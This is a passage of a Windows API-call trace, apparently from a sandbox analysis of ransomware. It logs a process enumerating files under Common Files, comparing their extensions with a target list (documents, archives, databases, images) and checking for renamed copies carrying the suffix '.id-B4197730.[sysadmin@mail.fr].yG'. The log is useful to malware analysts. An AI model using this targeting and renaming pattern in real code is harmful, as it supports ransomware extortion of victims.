	[0181.736] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.736] lstrlenW (lpString=".7z") returned 3
	[0181.736] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.736] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.737] lstrlenW (lpString=".dbf") returned 4
	[0181.737] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.737] lstrlenW (lpString=".1cd") returned 4
	[0181.737] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia100.dll") returned 62
	[0181.737] lstrlenW (lpString=".jpg") returned 4
	[0181.737] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.737] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0181.737] lstrlenW (lpString="msader15.dll.mui") returned 16
	[0181.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0181.738] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=17920) returned 1
	[0181.738] CloseHandle (hObject=0x34c) returned 1
	[0181.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20
	[0181.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.739] lstrlenW (lpString=".doc") returned 4
	[0181.739] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.739] lstrlenW (lpString=".docx") returned 5
	[0181.739] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.739] lstrlenW (lpString=".pdf") returned 4
	[0181.739] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.739] lstrlenW (lpString=".xls") returned 4
	[0181.739] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.739] lstrlenW (lpString=".xlsx") returned 5
	[0181.739] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.739] lstrlenW (lpString=".ppt") returned 4
	[0181.739] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.739] lstrlenW (lpString=".zip") returned 4
	[0181.739] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.739] lstrlenW (lpString=".rar") returned 4
	[0181.739] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.739] lstrlenW (lpString=".bz2") returned 4
	[0181.739] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.739] lstrlenW (lpString=".7z") returned 3
	[0181.739] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.739] lstrlenW (lpString=".dbf") returned 4
	[0181.739] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.739] lstrlenW (lpString=".1cd") returned 4
	[0181.739] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.740] lstrlenW (lpString=".jpg") returned 4
	[0181.740] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.740] lstrlenW (lpString=".doc") returned 4
	[0181.740] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.740] lstrlenW (lpString=".docx") returned 5
	[0181.740] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.740] lstrlenW (lpString=".pdf") returned 4
	[0181.740] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0181.740] lstrlenW (lpString=".xls") returned 4
	[0181.740] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0181.740] lstrlenW (lpString=".xlsx") returned 5
	[0181.740] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0181.740] lstrlenW (lpString=".ppt") returned 4
	[0181.740] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0181.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.740] lstrlenW (lpString=".zip") returned 4
	[0181.740] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0181.740] lstrlenW (lpString=".rar") returned 4
	[0181.740] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0181.740] lstrlenW (lpString=".bz2") returned 4
	[0181.740] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.740] lstrlenW (lpString=".7z") returned 3
	[0181.740] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.741] lstrlenW (lpString=".dbf") returned 4
	[0181.741] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.741] lstrlenW (lpString=".1cd") returned 4
	[0181.741] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63
	[0181.741] lstrlenW (lpString=".jpg") returned 4
	[0181.741] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0181.741] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.741] lstrlenW (lpString="msader15.dll") returned 12
	[0181.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0181.742] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=2560) returned 1
	[0181.742] CloseHandle (hObject=0x34c) returned 1
	[0181.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20
	[0181.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.742] lstrlenW (lpString=".doc") returned 4
	[0181.742] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.742] lstrlenW (lpString=".docx") returned 5
	[0181.742] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0181.742] lstrlenW (lpString=".pdf") returned 4
	[0181.742] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.742] lstrlenW (lpString=".xls") returned 4
	[0181.742] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.743] lstrlenW (lpString=".xlsx") returned 5
	[0181.743] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0181.743] lstrlenW (lpString=".ppt") returned 4
	[0181.743] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.743] lstrlenW (lpString=".zip") returned 4
	[0181.743] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.743] lstrlenW (lpString=".rar") returned 4
	[0181.743] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.743] lstrlenW (lpString=".bz2") returned 4
	[0181.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.743] lstrlenW (lpString=".7z") returned 3
	[0181.743] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.743] lstrlenW (lpString=".dbf") returned 4
	[0181.743] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.743] lstrlenW (lpString=".1cd") returned 4
	[0181.743] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.743] lstrlenW (lpString=".jpg") returned 4
	[0181.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.743] lstrlenW (lpString=".doc") returned 4
	[0181.743] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.743] lstrlenW (lpString=".docx") returned 5
	[0181.744] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0181.744] lstrlenW (lpString=".pdf") returned 4
	[0181.744] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.744] lstrlenW (lpString=".xls") returned 4
	[0181.744] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.744] lstrlenW (lpString=".xlsx") returned 5
	[0181.744] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0181.744] lstrlenW (lpString=".ppt") returned 4
	[0181.744] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.744] lstrlenW (lpString=".zip") returned 4
	[0181.744] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.744] lstrlenW (lpString=".rar") returned 4
	[0181.744] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.744] lstrlenW (lpString=".bz2") returned 4
	[0181.744] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.744] lstrlenW (lpString=".7z") returned 3
	[0181.744] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.744] lstrlenW (lpString=".dbf") returned 4
	[0181.744] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.744] lstrlenW (lpString=".1cd") returned 4
	[0181.744] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53
	[0181.744] lstrlenW (lpString=".jpg") returned 4
	[0181.744] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.745] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.745] lstrlenW (lpString="msado15.dll") returned 11
	[0181.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0181.745] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=1233920) returned 1
	[0181.745] CloseHandle (hObject=0x34c) returned 1
	[0181.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20
	[0181.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.746] lstrlenW (lpString=".doc") returned 4
	[0181.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.746] lstrlenW (lpString=".docx") returned 5
	[0181.746] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0181.746] lstrlenW (lpString=".pdf") returned 4
	[0181.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.746] lstrlenW (lpString=".xls") returned 4
	[0181.746] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.746] lstrlenW (lpString=".xlsx") returned 5
	[0181.746] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0181.746] lstrlenW (lpString=".ppt") returned 4
	[0181.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.746] lstrlenW (lpString=".zip") returned 4
	[0181.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.746] lstrlenW (lpString=".rar") returned 4
	[0181.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.746] lstrlenW (lpString=".bz2") returned 4
	[0181.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.746] lstrlenW (lpString=".7z") returned 3
	[0181.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.747] lstrlenW (lpString=".dbf") returned 4
	[0181.747] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.747] lstrlenW (lpString=".1cd") returned 4
	[0181.747] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.747] lstrlenW (lpString=".jpg") returned 4
	[0181.747] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.747] lstrlenW (lpString=".doc") returned 4
	[0181.747] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0181.747] lstrlenW (lpString=".docx") returned 5
	[0181.747] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1
	[0181.747] lstrlenW (lpString=".pdf") returned 4
	[0181.747] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0181.747] lstrlenW (lpString=".xls") returned 4
	[0181.747] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0181.747] lstrlenW (lpString=".xlsx") returned 5
	[0181.747] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1
	[0181.747] lstrlenW (lpString=".ppt") returned 4
	[0181.747] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0181.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.747] lstrlenW (lpString=".zip") returned 4
	[0181.747] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0181.747] lstrlenW (lpString=".rar") returned 4
	[0181.747] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0181.748] lstrlenW (lpString=".bz2") returned 4
	[0181.748] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0181.748] lstrlenW (lpString=".7z") returned 3
	[0181.748] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0181.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.748] lstrlenW (lpString=".dbf") returned 4
	[0181.748] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0181.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.748] lstrlenW (lpString=".1cd") returned 4
	[0181.748] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0181.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52
	[0181.748] lstrlenW (lpString=".jpg") returned 4
	[0181.748] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0181.748] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.748] lstrlenW (lpString="msado20.tlb") returned 11
	[0181.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0181.749] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=50688) returned 1
	[0181.749] CloseHandle (hObject=0x34c) returned 1
	[0181.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20
	[0181.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.749] lstrlenW (lpString=".doc") returned 4
	[0181.750] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString=".docx") returned 5
	[0181.750] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.750] lstrlenW (lpString=".pdf") returned 4
	[0181.750] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString=".xls") returned 4
	[0181.750] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.750] lstrlenW (lpString=".xlsx") returned 5
	[0181.750] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.750] lstrlenW (lpString=".ppt") returned 4
	[0181.750] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.750] lstrlenW (lpString=".zip") returned 4
	[0181.750] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.750] lstrlenW (lpString=".rar") returned 4
	[0181.750] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString=".bz2") returned 4
	[0181.750] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString=".7z") returned 3
	[0181.750] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.750] lstrlenW (lpString=".dbf") returned 4
	[0181.750] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.750] lstrlenW (lpString=".1cd") returned 4
	[0181.750] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.750] lstrlenW (lpString=".jpg") returned 4
	[0181.750] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.751] lstrlenW (lpString=".doc") returned 4
	[0181.751] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString=".docx") returned 5
	[0181.751] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0181.751] lstrlenW (lpString=".pdf") returned 4
	[0181.751] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString=".xls") returned 4
	[0181.751] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0181.751] lstrlenW (lpString=".xlsx") returned 5
	[0181.751] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0181.751] lstrlenW (lpString=".ppt") returned 4
	[0181.751] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.751] lstrlenW (lpString=".zip") returned 4
	[0181.751] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0181.751] lstrlenW (lpString=".rar") returned 4
	[0181.751] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString=".bz2") returned 4
	[0181.751] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString=".7z") returned 3
	[0181.751] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0181.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.751] lstrlenW (lpString=".dbf") returned 4
	[0181.751] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0181.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.751] lstrlenW (lpString=".1cd") returned 4
	[0181.752] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0181.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb") returned 52
	[0181.752] lstrlenW (lpString=".jpg") returned 4
	[0181.752] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0181.752] lstrcmpiW (lpString1=".tlb", lpString2=".yG") returned -1
	[0181.752] lstrlenW (lpString="msado21.tlb") returned 11
	[0181.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.006] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=53760) returned 1
	[0182.006] CloseHandle (hObject=0x34c) returned 1
	[0182.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20
	[0182.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0182.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.006] lstrlenW (lpString=".doc") returned 4
	[0182.006] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0182.007] lstrlenW (lpString=".docx") returned 5
	[0182.007] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0182.007] lstrlenW (lpString=".pdf") returned 4
	[0182.007] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0182.007] lstrlenW (lpString=".xls") returned 4
	[0182.007] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0182.007] lstrlenW (lpString=".xlsx") returned 5
	[0182.007] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0182.007] lstrlenW (lpString=".ppt") returned 4
	[0182.007] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0182.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.007] lstrlenW (lpString=".zip") returned 4
	[0182.007] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0182.007] lstrlenW (lpString=".rar") returned 4
	[0182.007] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0182.007] lstrlenW (lpString=".bz2") returned 4
	[0182.007] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0182.007] lstrlenW (lpString=".7z") returned 3
	[0182.008] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0182.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.008] lstrlenW (lpString=".dbf") returned 4
	[0182.008] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
